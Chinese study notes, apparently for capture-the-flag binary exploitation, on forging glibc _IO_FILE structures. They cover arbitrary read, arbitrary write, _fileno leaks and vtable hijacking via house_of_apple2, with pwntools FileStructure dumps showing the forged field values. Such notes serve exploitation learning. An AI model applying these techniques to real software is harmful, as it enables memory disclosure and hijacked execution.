伪造w权限IO_file ,进行任意地址读
关键:
假设需要泄露 ptr ~ ptr+len
_flags & 0xffff= 0x800
_IO_write_base = ptr
_IO_read_end = _IO_write_base
_IO_write_ptr = ptr + len
fileno = 1 (stdout)
other = null
脚本编写
可以用FileStructure 内置.write函数
fp = FIleStructure() |
print一下,看看内置的是如何伪造的
(ptr = 0x4040e0,len = 60)
{ flags: 0x800
_IO_read_ptr: 0x0
_IO_read_end: 0x4040e0
_IO_read_base: 0x0
_IO_write_base: 0x4040e0
_IO_write_ptr: 0x40411c
_IO_write_end: 0x0
_IO_buf_base: 0x0
_IO_buf_end: 0x0
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x1
_flags2: 0x0
_old_offset: 0xffffffffffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
伪造r权限IO_file ,进行任意地址写
关键:
_IO_read_end = _IO_read_ptr
_flags & 4 = 0
_IO_buf_base ptr
_IO_buf_end ptr+length
注意这个length是要根据函数里面给的length变化的 不是自己瞎写的 最好是稍微比给的大一点 防止又刷缓冲区
脚本编写
模仿一下前文的write
{ flags: 0x0
_IO_read_ptr: 0x0
_IO_read_end: 0x0
_IO_read_base: 0x0
_IO_write_base: 0x0
_IO_write_ptr: 0x0
_IO_write_end: 0x0
_IO_buf_base: 0x404040
_IO_buf_end: 0x40405e
_IO_save_base: 0x0
_IO_backup_base: 0x0
_IO_save_end: 0x0
markers: 0x0
chain: 0x0
fileno: 0x0
_flags2: 0x0
_old_offset: 0xffffffff
_cur_column: 0x0
_vtable_offset: 0x0
_shortbuf: 0x0
unknown1: 0x0
_lock: 0x0
_offset: 0xffffffffffffffff
_codecvt: 0x0
_wide_data: 0x0
unknown2: 0x0
vtable: 0x0}
可以看到python搞出来的更加暴力
另外如果不是想从stdin读的话,可能需要重新设置fileno。用fp.fileno字段修改
另外 fread貌似不会自动停止
伪造 _fileno 泄露数据到stdout或有权限文件
如题 伪造_fileno即可
伪造wfile中vtable 劫持执行流
house_of_apple2? 挺好的
关键
能修改vtable,使得某io函数call到_IO_wfile_overflow
伪造_wide_data结构体vtable
_lock 字段指向w权限地址 且为0
struct _IO_wide_data |
struct _IO_FILE_plus |
struct _IO_jump_t |
Here is the contents of the FILE structure. |
👆 定义速查
脚本编写
fp = FileStructure() |
buf_address 里面 写的是 fake_vtable
fp.vtable 后面的 - 0x38 需要通过按照真实的情况来判断,fwrite 是 -0x38。
有时候fake_vtable可以直接塞到fp 里面 是个比较高级的写法
